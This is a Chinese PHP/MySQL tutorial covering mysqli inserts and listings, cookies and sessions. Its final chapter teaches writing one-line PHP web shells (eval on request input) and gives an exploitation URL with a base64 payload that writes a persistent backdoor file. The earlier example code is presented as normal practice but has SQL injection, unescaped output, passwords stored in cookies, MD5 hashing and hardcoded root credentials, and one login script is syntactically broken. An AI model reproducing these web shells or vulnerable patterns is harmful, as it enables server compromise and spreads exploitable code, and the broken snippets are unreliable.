1. 程式人生 > 資料庫 >附錄三:PHP與Mysql之間的糾纏(超詳細)

附錄三:PHP與Mysql之間的糾纏(超詳細)

在這裡插入圖片描述

文章目錄

第一章 PHP操作mysql資料庫

在正式開始學習前,我們需要開啟mysqli擴充套件,使用phpinof()你可以看到如下展示就說明開啟成功:
在這裡插入圖片描述

若沒有看到mysqli擴充套件在windows伺服器下,開啟php.ini檔案,將php_mysqli.dll開啟即可。
注意:
從PHP7開始預設不再支援mysql擴充套件,即不再支援mysql_*系列函式。請使用mysqli連線資料庫。
mysqli即支援php5也支援php7。

建立表結構:
CREATE TABLE IF NOT EXISTS users (
   id INT(10) NOT NULL,
   username varchar(30),
   password varchar(30),
   createtime date not null,
   createip binary(16)
);

index.html程式碼

<form action="connect.php" method="post">
    使用者名稱:<input type="text" name="username"><br />
    密碼:<input type="password" name="password"><br />
    重複密碼:<input type="password" name="repassword"><br />
    <input type="submit" value="提交">
</form>

connect.php程式碼如下:

<?php

if (trim($_POST['password']) != trim($_POST['repassword'])) {

   exit('兩次密碼不一致,請返回上一頁');

}

$username = trim($_POST['username']);

$password = md5(trim($_POST['password']));

$time = time();

$ip = $_SERVER['REMOTE_ADDR'];

$conn = mysqli_connect('localhost', 'root', 'root');

//如果有錯誤,存在錯誤號
if (mysqli_errno($conn)) {

   echo mysqli_error($conn);

   exit;
}

mysqli_select_db($conn, 'book');

mysqli_set_charset($conn, 'utf8');

$sql = "insert into user(username,password,createtime,createip) values('" . $username . "','" . $password . "','" . $time . "','" . $ip . "')";

$result = mysqli_query($conn, $sql);

if ($result) {
   echo '成功';
} else {
   echo '失敗';

}

echo '當前使用者插入的ID為' . mysqli_insert_id($conn);

mysqli_close($conn);

?>

list.php程式碼如下:

<?php

$conn = mysqli_connect('localhost', 'root', 'root', 'book');

if (mysqli_errno($conn)) {
   mysqli_error($conn);
   exit;
}

mysqli_set_charset($conn, 'utf8');

$sql = "select id,username,createtime,createip from user order by id desc";
//進行降序排序
$result = mysqli_query($conn, $sql);

if ($result && mysqli_num_rows($result)) {
//查詢出來的行數可以使用mysqli_num_rows。這個函式要求傳入$result查詢的結果變數。
如果有結果則顯示列表,如果沒有結果我們產生一句提示即可。

   echo '<table width="800" border="1">';

   while ($row = mysqli_fetch_assoc($result)) {
//使用到的函式是mysqli_fetch_assoc,返回的會是一個關聯陣列。
這個函式讀取一個結果集,會向後移動一次。讀取到最後沒有結果的時候會返回bool值的false。因此,我們選擇while來配合mysqli_fetch_assoc。
每次迴圈的結果賦值給$row,$row中是關聯陣列。因此我在這次迴圈中,可以將行和列都顯示出來。
       echo '<tr>';

       echo '<td>' . $row['username'] . '</td>';
       echo '<td>' . date('Y-m-d H:i:s', $row['createtime']) . '</td>';
       echo '<td>' . long2ip($row['createip']) . '</td>';
       echo '<td><a href="edit.php?id=' . $row['id'] . '">編輯使用者</a></td>';
       echo '<td><a href="delete.php?id=' . $row['id'] . '">刪除使用者</a></td>';

       echo '</tr>';
   }

   echo '</table>';

} else {
   echo '沒有資料';
}

mysqli_close($conn);
?>

第二章 PHP 會話管理和控制

我們知道Cookie是通過將資料儲存在客戶端來實現與服務端保持連線的,而Session是通過將資料儲存在伺服器端來實現保持連線的。我們通過一個例子來了解session的機制。

我們去飲料店買飲料,下單以後服務員會給我們一個號碼牌,然後你走到一旁,服務員並不認識你是誰,如果你想拿到你的飲料,你必須提供你的號碼牌給服務員才可以,服務員通過號碼牌來查記錄,來確認你是顧客,確認你點了什麼飲料,然後才會把你點的飲料給你。

瞭解了session原理,再回到Web技術中,我們有2種方法讓客戶端拿到“號碼牌”,一種是通過cookie,一種是通過把值嵌入網頁傳給客戶端。我們也有2種方法來讓客戶端把號碼牌傳給伺服器來拿屬於自己的資料,一種是cookie,一種是標準的Query String/POST。

而我們常用的是cookie,因為現在的瀏覽器都支援cookie,預設也都開啟。客戶端與服務端彼此都會將cookie傳送給對方。來個過程說明一下:開啟瀏覽器輸入 www.taobao.com 並回車,由於是第一次與這個網站建立連線,服務端還沒有設定過cookie(這裡假設當前瀏覽器是第一次訪問這個網址,之前這個網址沒有向當前客戶端寫過cookie),所以沒有cookie傳送到服務端,服務端在處理完資料返回的時候,會將一個name為sessionid,value為一連串N位字元的cookie傳送給客戶端,後續客戶端再次訪問服務端的時候,也會帶上這個cookie來訪問服務端。於是,他們就這樣通過sessionid互相“認識”了。

我們之前拿開會的例子講了一個小例子:
在幾十年前人們開會的時候,都需要帶上一個參會證。這個參會證上有這個人的職務、姓名、單位、照片等資訊。在開會的時候,會議安保人員、組織者只需要檢查相關資訊就行了。
這個小例子主要說明一點,人們自己帶著自己的參會證,帶著自己的資訊。這種模式就是cookie。而電腦將這段cookie資訊存在了電腦的硬盤裡。
Cookie存在哪兒? Cookie的本質是一小段資料,一小段儲存在你電腦硬碟中的資料。可是它存在哪裡呢?來,我們找一下。

Chrome瀏覽器的Cookie檔案的存放路徑是:
C:\Users\你的使用者名稱\AppData\Local\Google\Chrome\User Data\Default\Cookies

Firefox瀏覽器的Cookies檔案存放路徑是:
C:\Users\你的使用者名稱\AppData\Roaming\Mozilla\Firefox\Profiles\rdgp36vl.default\cookies.sqlite 每個人可能略有不同

用文字編輯器直接開啟Cookies檔案看到的是亂碼,我們得用工具檢視,如下圖:在這裡插入圖片描述
我們來看一下需要關注的幾個列,Domain代表的是cookies所屬的網站,Name代表的是這個Cookie的名字,Value代表的是Cookie的值,Expires代表的是這個Cookie的有效期。

用一個我們熟悉的網站舉例,tudou.com,圖上我們可以看到有4個關於 tudou.com 的Cookie,那麼當我們訪問 tudou.com的時候,瀏覽器會自動把這4個Cookie的 Name 和 Value 傳送到 tudou.com 這個網址所指向的伺服器(PS:必須在有效期內,超出有效期的話是不會被髮送到伺服器的,有效期我們可以依據需求來定),如此一來,伺服器就可以根據這些資訊來保持與客戶端的連線了,通俗點,就是可以通過這些資料來知道你就是你。當伺服器收到這些Cookies後,會根據他們的值來做一些處理,做什麼處理?這就取決於開發人員想根據這些資訊來幹嘛了!

一、php 會話控制 之 PHP中的Cookie

通過一個使用者首次登陸網站後,再次訪問不需要重複輸入使用者名稱和密碼的例子來學習Cookie。
首先介紹一下php中設定cookie的方法。

php中提供了一個函式來讓我們設定cookie,這個函式是:
bool setcookie (
string $名字
[, string $值]
[, int $過期時間 = 0]
[, string $路徑]
[, string $域名]
[, bool $安全 = false]
[, bool $http只讀 = false]
);

引數 描述
$名字 必需。規定 cookie 的名稱。
$值 可選。規定 cookie 的值。
$有效期 可選。規定 cookie 的有效期。
$路徑 可選。規定 cookie 的伺服器路徑。
$域名 可選。規定 cookie 的域名。
$安全 可選。規定是否通過安全的 HTTPS 連線來傳輸 cookie。
$http安讀 可選。如果true,那麼js就無法讀取改cookie,增加安全性。

一般來說,我們其實用不到上面那麼多引數,對於這個函式,我們一般這麼用: setcookie(cookie名,cookie值,cookie有效期);
沒錯,就那麼3個。如此一來,我們就可以在服務端通過$_COOKIE[‘name’] 來讀取cookie了。

以下是示例:
我們將檔名命名為:cookie.php。
我們來模擬我們在網際網路上見到最常見的例子:輸入使用者名稱和密碼,登陸成功的過程。
我們來建一個數據庫login,其中有表user,有username和password這兩個欄位。
<?php
//第一次登陸的時候,通過使用者輸入的資訊來確認使用者
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
    $userName = $_POST['username'];
    $password = $_POST['password'];
    //從db獲取使用者資訊
    //PS:資料庫連線資訊改成自己的 分別為主機 資料庫使用者名稱 密碼
    $conn = mysqli_connect('localhost','root','123456');

    mysqli_select_db($conn,'test');

    $sql = "select * from user where `username` = '$userName' ";
    $res = mysqli_query($conn,$sql);
    $row = mysqli_fetch_assoc($res);
    if ($row['password'] == $password) {
        //密碼驗證通過,設定cookies,把使用者名稱和密碼儲存在客戶端
        setcookie('username',$userName,time()+60*60*24*30);//設定時效一個月,一個月後這個cookie失效
        setcookie('password',$password,time()+60*60*24*30);
        //最後跳轉到登入後的歡迎頁面
        header('Location: welcome.php' . "?username=$userName");
    }
}

//再次訪問的時候通過cookie來識別使用者
if ( ($_COOKIE['username'] != null)  && ($_COOKIE['password'] != null) ) {
    $userName = $_COOKIE['username'];
    $password = $_COOKIE['password'];

    //從db獲取使用者資訊
    //PS:資料庫連線資訊改成自己的 分別為主機 資料庫使用者名稱 密碼
    $conn = mysqli_connect('localhost','root','123456','test');
    $res = mysqli_query($conn,"select * from user where `username` =  '$userName' ");
    $row = mysqli_fetch_assoc($res);
    if ($row['password'] == $password) {
        //驗證通過後跳轉到登入後的歡迎頁面
        header('Location: welcome.php' . "?username=$userName");
    }
}

?>
<html>
<head>

</head>
<body>
<form action="" method="POST">
    <div>
        使用者名稱:<input type="text" name="username" />
        密  碼:<input type="text" name="password" />
        <input type="submit" value="登入">
    </div>
</form>
</body>
</html>

跳轉到的welcome.php程式碼

<?php
$user = $_GET['username'];
?>
<html>
<head>

</head>
<body>
   welcome,<?php echo $user;?>
</body>
</html>

這樣,當我第一次訪問cookie.php的時候,我需要輸入使用者名稱和密碼,輸入完畢後跳轉到了welcome.php。然後我關閉瀏覽器,再次開啟cookie.php,這次沒有要求我輸入使用者資訊,而是直接跳轉到了welcome.php,因為之前我們存的cookie資訊被瀏覽器自動傳送到了服務端,服務端做完處理直接跳轉到了welcome.php,伺服器認識我們了!知道我是之前那個登陸過的使用者,這樣我們就通過cookie技術讓無狀態的HTTP協議保持了狀態。
照著這個做一遍,我相信你會用cookie了。

二、php 會話控制 之 PHP中的session

1.開啟session

首先我們要開啟session,那麼第一個要學習的函式就是bool session_start()了,這個函式沒有引數。在php檔案的開始使用
session_start();
就可以啟用新會話或者重用現有會話了。

2.新增session資料

開啟會話之後,那麼在接下來的處理中,我們就可以使用$_SESSION變數來存取資訊了。我們要知道的是$_SESSION變數是個陣列。當我們要把資訊存入session的時候應該這麼寫:
   $_SESSION['userName'] = 'wang';

3.讀取session資料

讀取很簡單,就像我們使用陣列一樣,如下:
$userName = $_SESSION[‘userName’];
當然也可以 $_SESSION[‘userName’] 來用。和陣列一樣的使用。

4.銷燬session資料

我們可以使用很多種方式來銷燬session資料。
a) unset函式
我們通過使用類似
   unset($_SESSION['XXX']);
	來銷燬session中的 XXX 變數。PS:請不要!請不要!請不要unset($_SESSION),會導致後續無法使用$_SESSION這個變數!!!
b) 空陣列賦值給session變數
$_SESSION = array();
之前我們說過$_SESSOIN變數是個陣列,那麼空陣列賦值的話也是相當於將當前會話的$_SESSION變數中的值銷燬。
c) session_destory() 函式
這個函式會銷燬當前會話中的全部資料,並結束當前會話。但是不會重置當前會話所關聯的全域性變數, 也不會重置會話 cookie。

5.session的擴充套件:預設session儲存在哪裡。

在php.ini配置檔案中有這麼一行 session.save_handler = files,
files,說明了php預設的是用檔案讀寫的方式來儲存session的。那麼在哪個目錄呢?繼續看。session.save_path = “/tmp”,這一行前面有個 ; ,說明是被註釋的,不過即便這樣,php預設的session 也是儲存在這裡的,/tmp目錄。

6.SESSION登入例項:

login.php檔案

<?php
session_start();
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
   $userName = $_POST['username'];
   $password = $_POST['password'];

   //從db獲取使用者資訊   資料庫資訊改成自己的
   $conn = mysqli_connect('host','username','password','login');
mysqli_select_db($conn,'oldboy');
   $res = mysqli_query($conn,"select * from user where `username` =  '$username' ");
   $row = mysqli_fetch_assoc($res);
   if ($row['password'] == $password) {
       //密碼驗證通過,設定session,把使用者名稱和密碼儲存在服務端
       $_SESSION['username'] = $username;
       $_SESSION['password'] = $password;

       //最後跳轉到登入後的歡迎頁面 //注意:這裡我們沒有像cookie一樣帶引數過去
       header('Location: welcome.php');
   }

?>
<html>
<head>
<!-- 這裡指明頁面編碼 -->
<meta charset="utf-8">
</head>
<body>
   <form action="" method="POST">
       <div>
           使用者名稱:<input type="text" name="username" />
           密  碼:<input type="text" name="password" />
           <input type="submit" value="登入">        
       </div>
   </form>
</body>
</html>

welcome.php 這裡我們用的是session中的資訊,而不是像cookie一樣在url中帶引數過來

<?php
session_start();
$username = $_SESSION['username'];
?>
<html>
<head>

</head>
<body>
   welcome,<?php echo $username;?>
</body>
</html>

第三章 PHP 專案

編寫一句話木馬

案例1:

<?php
$a = $_REQUEST['a'];
$b = null;
eval($b.$a);
?>

利用方法:

http://localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=phpinfo();

http://localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

案例2:

<?php @eval($_POST['1']);?>